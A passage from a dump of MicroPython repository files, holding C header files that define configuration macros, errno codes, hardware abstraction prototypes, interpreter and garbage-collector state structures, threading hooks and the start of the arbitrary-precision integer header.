MP_ENDIANNESS_LITTLE (0)\n  #else\n    #include <endian.h>\n      #if defined(__BYTE_ORDER)\n        #if __BYTE_ORDER == __LITTLE_ENDIAN\n          #define MP_ENDIANNESS_LITTLE (1)\n        #else\n          #define MP_ENDIANNESS_LITTLE (0)\n        #endif\n      #else\n        #error endianness not defined and cannot detect it\n      #endif\n  #endif\n  #define MP_ENDIANNESS_BIG (!MP_ENDIANNESS_LITTLE)\n#endif\n\n// Make a pointer to RAM callable (eg set lower bit for Thumb code)\n// (This scheme won't work if we want to mix Thumb and normal ARM code.)\n#ifndef MICROPY_MAKE_POINTER_CALLABLE\n#define MICROPY_MAKE_POINTER_CALLABLE(p) (p)\n#endif\n\n// If these MP_PLAT_*_EXEC macros are overridden then the memory allocated by them\n// must be somehow reachable for marking by the GC, since the native code\n// generators store pointers to GC managed memory in the code.\n#ifndef MP_PLAT_ALLOC_EXEC\n#define MP_PLAT_ALLOC_EXEC(min_size, ptr, size) do { *ptr = m_new(byte, min_size); *size = min_size; } while (0)\n#endif\n\n#ifndef MP_PLAT_FREE_EXEC\n#define MP_PLAT_FREE_EXEC(ptr, size) m_del(byte, ptr, size)\n#endif\n\n// This macro is used to do all output (except when MICROPY_PY_IO is defined)\n#ifndef MP_PLAT_PRINT_STRN\n#define MP_PLAT_PRINT_STRN(str, len) mp_hal_stdout_tx_strn_cooked(str, len)\n#endif\n\n#ifndef MP_SSIZE_MAX\n#define MP_SSIZE_MAX SSIZE_MAX\n#endif\n\n// printf format spec to use for mp_int_t and friends\n#ifndef INT_FMT\n#if defined(__LP64__)\n// Archs where mp_int_t == long, long != int\n#define UINT_FMT \"%lu\"\n#define INT_FMT \"%ld\"\n#elif defined(_WIN64)\n#define UINT_FMT \"%llu\"\n#define INT_FMT \"%lld\"\n#else\n// Archs where mp_int_t == int\n#define UINT_FMT \"%u\"\n#define INT_FMT \"%d\"\n#endif\n#endif //INT_FMT\n\n// Modifier for function which doesn't return\n#ifndef NORETURN\n#define NORETURN __attribute__((noreturn))\n#endif\n\n// Modifier for weak functions\n#ifndef MP_WEAK\n#define MP_WEAK __attribute__((weak))\n#endif\n\n// Modifier for functions which should be never inlined\n#ifndef MP_NOINLINE\n#define MP_NOINLINE __attribute__((noinline))\n#endif\n\n// Modifier for functions which should be always inlined\n#ifndef MP_ALWAYSINLINE\n#define MP_ALWAYSINLINE __attribute__((always_inline))\n#endif\n\n// Condition is likely to be true, to help branch prediction\n#ifndef MP_LIKELY\n#define MP_LIKELY(x) __builtin_expect((x), 1)\n#endif\n\n// Condition is likely to be false, to help branch prediction\n#ifndef MP_UNLIKELY\n#define MP_UNLIKELY(x) __builtin_expect((x), 0)\n#endif\n\n#endif // MICROPY_INCLUDED_PY_MPCONFIG_H\n"
  },
  {
    "path": "micropython/inc/py/mperrno.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2016 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_MPERRNO_H\n#define MICROPY_INCLUDED_PY_MPERRNO_H\n\n#include \"py/mpconfig.h\"\n\n#if MICROPY_USE_INTERNAL_ERRNO\n\n// MP_Exxx errno's are defined directly as numeric values\n// (Linux constants are used as a reference)\n\n#define MP_EPERM              (1) // Operation not permitted\n#define MP_ENOENT             (2) // No such file or directory\n#define MP_ESRCH              (3) // No such process\n#define MP_EINTR              (4) // Interrupted system call\n#define MP_EIO                (5) // I/O error\n#define MP_ENXIO              (6) // No such device or address\n#define MP_E2BIG              (7) // Argument list too long\n#define MP_ENOEXEC            (8) // Exec format error\n#define MP_EBADF              (9) // Bad file number\n#define MP_ECHILD            (10) // No child processes\n#define MP_EAGAIN            (11) // Try again\n#define MP_ENOMEM            (12) // Out of memory\n#define MP_EACCES            (13) // Permission denied\n#define MP_EFAULT            (14) // Bad address\n#define MP_ENOTBLK           (15) // Block device required\n#define MP_EBUSY             (16) // Device or resource busy\n#define MP_EEXIST            (17) // File exists\n#define MP_EXDEV             (18) // Cross-device link\n#define MP_ENODEV            (19) // No such device\n#define MP_ENOTDIR           (20) // Not a directory\n#define MP_EISDIR            (21) // Is a directory\n#define MP_EINVAL            (22) // Invalid argument\n#define MP_ENFILE            (23) // File table overflow\n#define MP_EMFILE            (24) // Too many open files\n#define MP_ENOTTY            (25) // Not a typewriter\n#define MP_ETXTBSY           (26) // Text file busy\n#define MP_EFBIG             (27) // File too large\n#define MP_ENOSPC            (28) // No space left on device\n#define MP_ESPIPE            (29) // Illegal seek\n#define MP_EROFS             (30) // Read-only file system\n#define MP_EMLINK            (31) // Too many links\n#define MP_EPIPE             (32) // Broken pipe\n#define MP_EDOM              (33) // Math argument out of domain of func\n#define MP_ERANGE            (34) // Math result not representable\n#define MP_EWOULDBLOCK  MP_EAGAIN // Operation would block\n#define MP_EOPNOTSUPP        (95) // Operation not supported on transport endpoint\n#define MP_EAFNOSUPPORT      (97) // Address family not supported by protocol\n#define MP_EADDRINUSE        (98) // Address already in use\n#define MP_ECONNABORTED     (103) // Software caused connection abort\n#define MP_ECONNRESET       (104) // Connection reset by peer\n#define MP_ENOBUFS          (105) // No buffer space available\n#define MP_EISCONN          (106) // Transport endpoint is already connected\n#define MP_ENOTCONN         (107) // Transport endpoint is not connected\n#define MP_ETIMEDOUT        (110) // Connection timed out\n#define MP_ECONNREFUSED     (111) // Connection refused\n#define MP_EHOSTUNREACH     (113) // No route to host\n#define MP_EALREADY         (114) // Operation already in progress\n#define MP_EINPROGRESS      (115) // Operation now in progress\n\n#else\n\n// MP_Exxx errno's are defined in terms of system supplied ones\n\n#include <errno.h>\n\n#define MP_EPERM            EPERM\n#define MP_ENOENT           ENOENT\n#define MP_ESRCH            ESRCH\n#define MP_EINTR            EINTR\n#define MP_EIO              EIO\n#define MP_ENXIO            ENXIO\n#define MP_E2BIG            E2BIG\n#define MP_ENOEXEC          ENOEXEC\n#define MP_EBADF            EBADF\n#define MP_ECHILD           ECHILD\n#define MP_EAGAIN           EAGAIN\n#define MP_ENOMEM           ENOMEM\n#define MP_EACCES           EACCES\n#define MP_EFAULT           EFAULT\n#define MP_ENOTBLK          ENOTBLK\n#define MP_EBUSY            EBUSY\n#define MP_EEXIST           EEXIST\n#define MP_EXDEV            EXDEV\n#define MP_ENODEV           ENODEV\n#define MP_ENOTDIR          ENOTDIR\n#define MP_EISDIR           EISDIR\n#define MP_EINVAL           EINVAL\n#define MP_ENFILE           ENFILE\n#define MP_EMFILE           EMFILE\n#define MP_ENOTTY           ENOTTY\n#define MP_ETXTBSY          ETXTBSY\n#define MP_EFBIG            EFBIG\n#define MP_ENOSPC           ENOSPC\n#define MP_ESPIPE           ESPIPE\n#define MP_EROFS            EROFS\n#define MP_EMLINK           EMLINK\n#define MP_EPIPE            EPIPE\n#define MP_EDOM             EDOM\n#define MP_ERANGE           ERANGE\n#define MP_EWOULDBLOCK      EAGAIN\n#define MP_EOPNOTSUPP       EOPNOTSUPP\n#define MP_EAFNOSUPPORT     EAFNOSUPPORT\n#define MP_EADDRINUSE       EADDRINUSE\n#define MP_ECONNABORTED     ECONNABORTED\n#define MP_ECONNRESET       ECONNRESET\n#define MP_ENOBUFS          ENOBUFS\n#define MP_EISCONN          EISCONN\n#define MP_ENOTCONN         ENOTCONN\n#define MP_ETIMEDOUT        ETIMEDOUT\n#define MP_ECONNREFUSED     ECONNREFUSED\n#define MP_EHOSTUNREACH     EHOSTUNREACH\n#define MP_EALREADY         EALREADY\n#define MP_EINPROGRESS      EINPROGRESS\n\n#endif\n\n#if MICROPY_PY_UERRNO\n\n#include \"py/obj.h\"\n\nqstr mp_errno_to_str(mp_obj_t errno_val);\n\n#endif\n\n#endif // MICROPY_INCLUDED_PY_MPERRNO_H\n"
  },
  {
    "path": "micropython/inc/py/mphal.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2015 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_MPHAL_H\n#define MICROPY_INCLUDED_PY_MPHAL_H\n\n#include \"py/mpconfig.h\"\n\n#ifdef MICROPY_MPHALPORT_H\n#include MICROPY_MPHALPORT_H\n#else\n#include <mphalport.h>\n#endif\n\n#ifndef mp_hal_stdin_rx_chr\nint mp_hal_stdin_rx_chr(void);\n#endif\n\n#ifndef mp_hal_stdout_tx_str\nvoid mp_hal_stdout_tx_str(const char *str);\n#endif\n\n#ifndef mp_hal_stdout_tx_strn\nvoid mp_hal_stdout_tx_strn(const char *str, size_t len);\n#endif\n\n#ifndef mp_hal_stdout_tx_strn_cooked\nvoid mp_hal_stdout_tx_strn_cooked(const char *str, size_t len);\n#endif\n\n#ifndef mp_hal_delay_ms\nvoid mp_hal_delay_ms(mp_uint_t ms);\n#endif\n\n#ifndef mp_hal_delay_us\nvoid mp_hal_delay_us(mp_uint_t us);\n#endif\n\n#ifndef mp_hal_ticks_ms\nmp_uint_t mp_hal_ticks_ms(void);\n#endif\n\n#ifndef mp_hal_ticks_us\nmp_uint_t mp_hal_ticks_us(void);\n#endif\n\n#ifndef mp_hal_ticks_cpu\nmp_uint_t mp_hal_ticks_cpu(void);\n#endif\n\n// If port HAL didn't define its own pin API, use generic\n// \"virtual pin\" API from the core.\n#ifndef mp_hal_pin_obj_t\n#define mp_hal_pin_obj_t mp_obj_t\n#define mp_hal_get_pin_obj(pin) (pin)\n#define mp_hal_pin_read(pin) mp_virtual_pin_read(pin)\n#define mp_hal_pin_write(pin, v) mp_virtual_pin_write(pin, v)\n#include \"extmod/virtpin.h\"\n#endif\n\n#endif // MICROPY_INCLUDED_PY_MPHAL_H\n"
  },
  {
    "path": "micropython/inc/py/mpprint.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_MPPRINT_H\n#define MICROPY_INCLUDED_PY_MPPRINT_H\n\n#include \"py/mpconfig.h\"\n\n#define PF_FLAG_LEFT_ADJUST       (0x001)\n#define PF_FLAG_SHOW_SIGN         (0x002)\n#define PF_FLAG_SPACE_SIGN        (0x004)\n#define PF_FLAG_NO_TRAILZ         (0x008)\n#define PF_FLAG_SHOW_PREFIX       (0x010)\n#define PF_FLAG_SHOW_COMMA        (0x020)\n#define PF_FLAG_PAD_AFTER_SIGN    (0x040)\n#define PF_FLAG_CENTER_ADJUST     (0x080)\n#define PF_FLAG_ADD_PERCENT       (0x100)\n#define PF_FLAG_SHOW_OCTAL_LETTER (0x200)\n\n#if MICROPY_PY_IO && MICROPY_PY_SYS_STDFILES\n#    define MP_PYTHON_PRINTER &mp_sys_stdout_print\n#else\n#    define MP_PYTHON_PRINTER &mp_plat_print\n#endif\n\ntypedef void (*mp_print_strn_t)(void *data, const char *str, size_t len);\n\ntypedef struct _mp_print_t {\n    void *data;\n    mp_print_strn_t print_strn;\n} mp_print_t;\n\n// All (non-debug) prints go through one of the two interfaces below.\n// 1) Wrapper for platform print function, which wraps MP_PLAT_PRINT_STRN.\nextern const mp_print_t mp_plat_print;\n#if MICROPY_PY_IO && MICROPY_PY_SYS_STDFILES\n// 2) Wrapper for printing to sys.stdout.\nextern const mp_print_t mp_sys_stdout_print;\n#endif\n\nint mp_print_str(const mp_print_t *print, const char *str);\nint mp_print_strn(const mp_print_t *print, const char *str, size_t len, int flags, char fill, int width);\n#if MICROPY_PY_BUILTINS_FLOAT\nint mp_print_float(const mp_print_t *print, mp_float_t f, char fmt, int flags, char fill, int width, int prec);\n#endif\n\nint mp_printf(const mp_print_t *print, const char *fmt, ...);\n#ifdef va_start\nint mp_vprintf(const mp_print_t *print, const char *fmt, va_list args);\n#endif\n\n#endif // MICROPY_INCLUDED_PY_MPPRINT_H\n"
  },
  {
    "path": "micropython/inc/py/mpstate.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_MPSTATE_H\n#define MICROPY_INCLUDED_PY_MPSTATE_H\n\n#include <stdint.h>\n\n#include \"py/mpconfig.h\"\n#include \"py/mpthread.h\"\n#include \"py/misc.h\"\n#include \"py/nlr.h\"\n#include \"py/obj.h\"\n#include \"py/objlist.h\"\n#include \"py/objexcept.h\"\n\n// This file contains structures defining the state of the MicroPython\n// memory system, runtime and virtual machine.  The state is a global\n// variable, but in the future it is hoped that the state can become local.\n\n// This structure contains dynamic configuration for the compiler.\n#if MICROPY_DYNAMIC_COMPILER\ntypedef struct mp_dynamic_compiler_t {\n    uint8_t small_int_bits; // must be <= host small_int_bits\n    bool opt_cache_map_lookup_in_bytecode;\n    bool py_builtins_str_unicode;\n} mp_dynamic_compiler_t;\nextern mp_dynamic_compiler_t mp_dynamic_compiler;\n#endif\n\n// These are the values for sched_state\n#define MP_SCHED_IDLE (1)\n#define MP_SCHED_LOCKED (-1)\n#define MP_SCHED_PENDING (0) // 0 so it's a quick check in the VM\n\ntypedef struct _mp_sched_item_t {\n    mp_obj_t func;\n    mp_obj_t arg;\n} mp_sched_item_t;\n\n// This structure hold information about the memory allocation system.\ntypedef struct _mp_state_mem_t {\n    #if MICROPY_MEM_STATS\n    size_t total_bytes_allocated;\n    size_t current_bytes_allocated;\n    size_t peak_bytes_allocated;\n    #endif\n\n    byte *gc_alloc_table_start;\n    size_t gc_alloc_table_byte_len;\n    #if MICROPY_ENABLE_FINALISER\n    byte *gc_finaliser_table_start;\n    #endif\n    byte *gc_pool_start;\n    byte *gc_pool_end;\n\n    int gc_stack_overflow;\n    size_t gc_stack[MICROPY_ALLOC_GC_STACK_SIZE];\n    size_t *gc_sp;\n    uint16_t gc_lock_depth;\n\n    // This variable controls auto garbage collection.  If set to 0 then the\n    // GC won't automatically run when gc_alloc can't find enough blocks.  But\n    // you can still allocate/free memory and also explicitly call gc_collect.\n    uint16_t gc_auto_collect_enabled;\n\n    #if MICROPY_GC_ALLOC_THRESHOLD\n    size_t gc_alloc_amount;\n    size_t gc_alloc_threshold;\n    #endif\n\n    size_t gc_last_free_atb_index;\n\n    #if MICROPY_PY_GC_COLLECT_RETVAL\n    size_t gc_collected;\n    #endif\n\n    #if MICROPY_PY_THREAD\n    // This is a global mutex used to make the GC thread-safe.\n    mp_thread_mutex_t gc_mutex;\n    #endif\n} mp_state_mem_t;\n\n// This structure hold runtime and VM information.  It includes a section\n// which contains root pointers that must be scanned by the GC.\ntypedef struct _mp_state_vm_t {\n    ////////////////////////////////////////////////////////////\n    // START ROOT POINTER SECTION\n    // everything that needs GC scanning must go here\n    // this must start at the start of this structure\n    //\n\n    qstr_pool_t *last_pool;\n\n    // non-heap memory for creating an exception if we can't allocate RAM\n    mp_obj_exception_t mp_emergency_exception_obj;\n\n    // memory for exception arguments if we can't allocate RAM\n    #if MICROPY_ENABLE_EMERGENCY_EXCEPTION_BUF\n    #if MICROPY_EMERGENCY_EXCEPTION_BUF_SIZE > 0\n    // statically allocated buf (needs to be aligned to mp_obj_t)\n    mp_obj_t mp_emergency_exception_buf[MICROPY_EMERGENCY_EXCEPTION_BUF_SIZE / sizeof(mp_obj_t)];\n    #else\n    // dynamically allocated buf\n    byte *mp_emergency_exception_buf;\n    #endif\n    #endif\n\n    #if MICROPY_KBD_EXCEPTION\n    // exception object of type KeyboardInterrupt\n    mp_obj_exception_t mp_kbd_exception;\n    #endif\n\n    // dictionary with loaded modules (may be exposed as sys.modules)\n    mp_obj_dict_t mp_loaded_modules_dict;\n\n    // pending exception object (MP_OBJ_NULL if not pending)\n    volatile mp_obj_t mp_pending_exception;\n\n    #if MICROPY_ENABLE_SCHEDULER\n    volatile int16_t sched_state;\n    uint16_t sched_sp;\n    mp_sched_item_t sched_stack[MICROPY_SCHEDULER_DEPTH];\n    #endif\n\n    // current exception being handled, for sys.exc_info()\n    #if MICROPY_PY_SYS_EXC_INFO\n    mp_obj_base_t *cur_exception;\n    #endif\n\n    // dictionary for the __main__ module\n    mp_obj_dict_t dict_main;\n\n    // dictionary for overridden builtins\n    #if MICROPY_CAN_OVERRIDE_BUILTINS\n    mp_obj_dict_t *mp_module_builtins_override_dict;\n    #endif\n\n    // include any root pointers defined by a port\n    MICROPY_PORT_ROOT_POINTERS\n\n    // root pointers for extmod\n\n    #if MICROPY_PY_OS_DUPTERM\n    mp_obj_t term_obj;\n    mp_obj_t dupterm_arr_obj;\n    #endif\n\n    #if MICROPY_PY_LWIP_SLIP\n    mp_obj_t lwip_slip_stream;\n    #endif\n\n    #if MICROPY_VFS\n    struct _mp_vfs_mount_t *vfs_cur;\n    struct _mp_vfs_mount_t *vfs_mount_table;\n    #endif\n\n    //\n    // END ROOT POINTER SECTION\n    ////////////////////////////////////////////////////////////\n\n    // pointer and sizes to store interned string data\n    // (qstr_last_chunk can be root pointer but is also stored in qstr pool)\n    byte *qstr_last_chunk;\n    size_t qstr_last_alloc;\n    size_t qstr_last_used;\n\n    #if MICROPY_PY_THREAD\n    // This is a global mutex used to make qstr interning thread-safe.\n    mp_thread_mutex_t qstr_mutex;\n    #endif\n\n    mp_uint_t mp_optimise_value;\n\n    // size of the emergency exception buf, if it's dynamically allocated\n    #if MICROPY_ENABLE_EMERGENCY_EXCEPTION_BUF && MICROPY_EMERGENCY_EXCEPTION_BUF_SIZE == 0\n    mp_int_t mp_emergency_exception_buf_size;\n    #endif\n\n    #if MICROPY_PY_THREAD_GIL\n    // This is a global mutex used to make the VM/runtime thread-safe.\n    mp_thread_mutex_t gil_mutex;\n    #endif\n} mp_state_vm_t;\n\n// This structure holds state that is specific to a given thread.\n// Everything in this structure is scanned for root pointers.\ntypedef struct _mp_state_thread_t {\n    mp_obj_dict_t *dict_locals;\n    mp_obj_dict_t *dict_globals;\n\n    // Note: nlr asm code has the offset of this hard-coded\n    nlr_buf_t *nlr_top; // ROOT POINTER\n\n    // Stack top at the start of program\n    char *stack_top;\n\n    #if MICROPY_STACK_CHECK\n    size_t stack_limit;\n    #endif\n} mp_state_thread_t;\n\n// This structure combines the above 3 structures.\n// The order of the entries are important for root pointer scanning in the GC to work.\n// Note: if this structure changes then revisit all nlr asm code since they\n// have the offset of nlr_top hard-coded.\ntypedef struct _mp_state_ctx_t {\n    mp_state_thread_t thread;\n    mp_state_vm_t vm;\n    mp_state_mem_t mem;\n} mp_state_ctx_t;\n\nextern mp_state_ctx_t mp_state_ctx;\n\n#define MP_STATE_VM(x) (mp_state_ctx.vm.x)\n#define MP_STATE_MEM(x) (mp_state_ctx.mem.x)\n\n#if MICROPY_PY_THREAD\nextern mp_state_thread_t *mp_thread_get_state(void);\n#define MP_STATE_THREAD(x) (mp_thread_get_state()->x)\n#else\n#define MP_STATE_THREAD(x) (mp_state_ctx.thread.x)\n#endif\n\n#endif // MICROPY_INCLUDED_PY_MPSTATE_H\n"
  },
  {
    "path": "micropython/inc/py/mpthread.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2016 Damien P. George on behalf of Pycom Ltd\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_MPTHREAD_H\n#define MICROPY_INCLUDED_PY_MPTHREAD_H\n\n#include \"py/mpconfig.h\"\n\n#if MICROPY_PY_THREAD\n\n#ifdef MICROPY_MPTHREADPORT_H\n#include MICROPY_MPTHREADPORT_H\n#else\n#include <mpthreadport.h>\n#endif\n\nstruct _mp_state_thread_t;\n\nstruct _mp_state_thread_t *mp_thread_get_state(void);\nvoid mp_thread_set_state(void *state);\nvoid mp_thread_create(void *(*entry)(void*), void *arg, size_t *stack_size);\nvoid mp_thread_start(void);\nvoid mp_thread_finish(void);\nvoid mp_thread_mutex_init(mp_thread_mutex_t *mutex);\nint mp_thread_mutex_lock(mp_thread_mutex_t *mutex, int wait);\nvoid mp_thread_mutex_unlock(mp_thread_mutex_t *mutex);\n\n#endif // MICROPY_PY_THREAD\n\n#if MICROPY_PY_THREAD && MICROPY_PY_THREAD_GIL\n#include \"py/mpstate.h\"\n#define MP_THREAD_GIL_ENTER() mp_thread_mutex_lock(&MP_STATE_VM(gil_mutex), 1)\n#define MP_THREAD_GIL_EXIT() mp_thread_mutex_unlock(&MP_STATE_VM(gil_mutex))\n#else\n#define MP_THREAD_GIL_ENTER()\n#define MP_THREAD_GIL_EXIT()\n#endif\n\n#endif // MICROPY_INCLUDED_PY_MPTHREAD_H\n"
  },
  {
    "path": "micropython/inc/py/mpz.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_MPZ_H\n#define MICROPY_INCLUDED_PY_MPZ_H\n\n#include <stdint.h>\n\n#include \"py/mpconfig.h\"\n#include \"py/misc.h\"\n\n// This mpz module implements arbitrary precision integers.\n//\n// The storage for each digit is defined by mpz_dig_t.  The actual number of\n// bits in mpz_dig_t that are used is defined by MPZ_DIG_SIZE.  The machine must\n// also provide a type that is twice as wide as mpz_dig_t, in both signed and\n// unsigned versions.\n//\n// MPZ_DIG_SIZE can be between 4 and 8*sizeof(mpz_dig_t), but it makes most\n// sense to have it as large as possible.  If MPZ_DIG_SIZE is not already\n// defined then it is auto-detected below, depending on the machine.  The types\n// are then set based on the value of MPZ_DIG_SIZE (although they can be freely\n// changed so long as the constraints mentioned above are met).\n\n#ifndef MPZ_DIG_SIZE\n  #if defined(__x86_64__) || defined(_WIN64)\n    // 64-bit machine, using 32-bit storage for digits\n    #define MPZ_DIG_SIZE (32)\n  #else\n    // default: 32-bit machine, using 16-bit storage for digits\n    #define MPZ_DIG_SIZE (16)\n  #endif\n#endif\n\n#if MPZ_DIG_SIZE > 16\ntypedef uint32_t mpz_dig_t;\ntypedef uint64_t mpz_dbl_dig_t;\ntypedef int64_t mpz_dbl_dig_signed_t;\n#elif MPZ_DIG_SIZE > 8\ntypedef uint16_t mpz_dig_t;\ntypedef uint32_t mpz_dbl_dig_t;\ntypedef int32_t mpz_dbl_dig_signed_t;\n#elif MPZ_DIG_SIZE > 4\ntypedef uint8_t mpz_dig_t;\ntypedef uint16_t mpz_dbl_dig_t;\ntypedef int16_t mpz_dbl_dig_signed_t;\n#else\ntypedef uint8_t mpz_dig_t;\ntypedef uint8_t mpz_dbl_dig_t;\ntypedef int8_t mpz_dbl_dig_signed_t;\n#endif\n\n#ifdef _WIN64\n  #ifdef __MINGW32__\n    #define MPZ_LONG_1 1LL\n  #else\n    #define MPZ_LONG_1 1i64\n  #endif\n#else\n  #define MPZ_LONG_1 1L\n#endif\n\n// these define the maximum storage needed to hold an int or long long\n#define MPZ_NUM_DIG_FOR_INT ((sizeof(mp_int_t) * 8 + MPZ_DIG_SIZE - 1) / MPZ_DIG_SIZE)\n#define MPZ_NUM_DIG_FOR_LL ((sizeof(long long) * 8 + MPZ_DIG_SIZE - 1) / MPZ_DIG_SIZE)\n\ntypedef struct _mpz_t {\n    size_t neg : 1;\n    size_t fixed_dig : 1;\n    size_t alloc : 8 * sizeof(size_t) - 2;\n    size_t len;\n    mpz_dig_t *dig;\n} mpz_t;\n\n// convenience macro to declare an mpz with a digit array from the stack, initialised by an integer\n#define MPZ_CONST_INT(z, val) mpz_t z; mpz_dig_t z ## _digits[MPZ_NUM_DIG_FOR_INT]; mpz_init_fixed_from_int(&z, z_digits, 